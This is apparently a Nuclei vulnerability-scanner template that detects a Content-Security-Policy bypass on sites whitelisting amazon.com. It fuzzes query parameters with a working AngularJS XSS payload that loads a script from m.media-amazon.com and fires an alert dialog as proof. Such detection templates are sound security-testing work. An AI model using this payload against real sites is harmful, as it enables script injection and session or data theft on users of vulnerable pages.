id: amazon-media-csp-bypass
info:
name: Content-Security-Policy Bypass - Amazon Media
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,amazon-media,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "amazon.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: amazon_media_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="https://m.media-amazon.com/images/I/81cx8O4at9L.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "amazon_media_csp_xss == true"
# digest: 4b0a00483046022100c60e240de30e6a8cb996bd98724b76d6415854078f64d62c201951bd04107f1e022100dba49f8380e7d99f7bd877204e52076a5dd30860d8ff7351efa073c8da229599:922c64590222798bb761d5b6d8e72950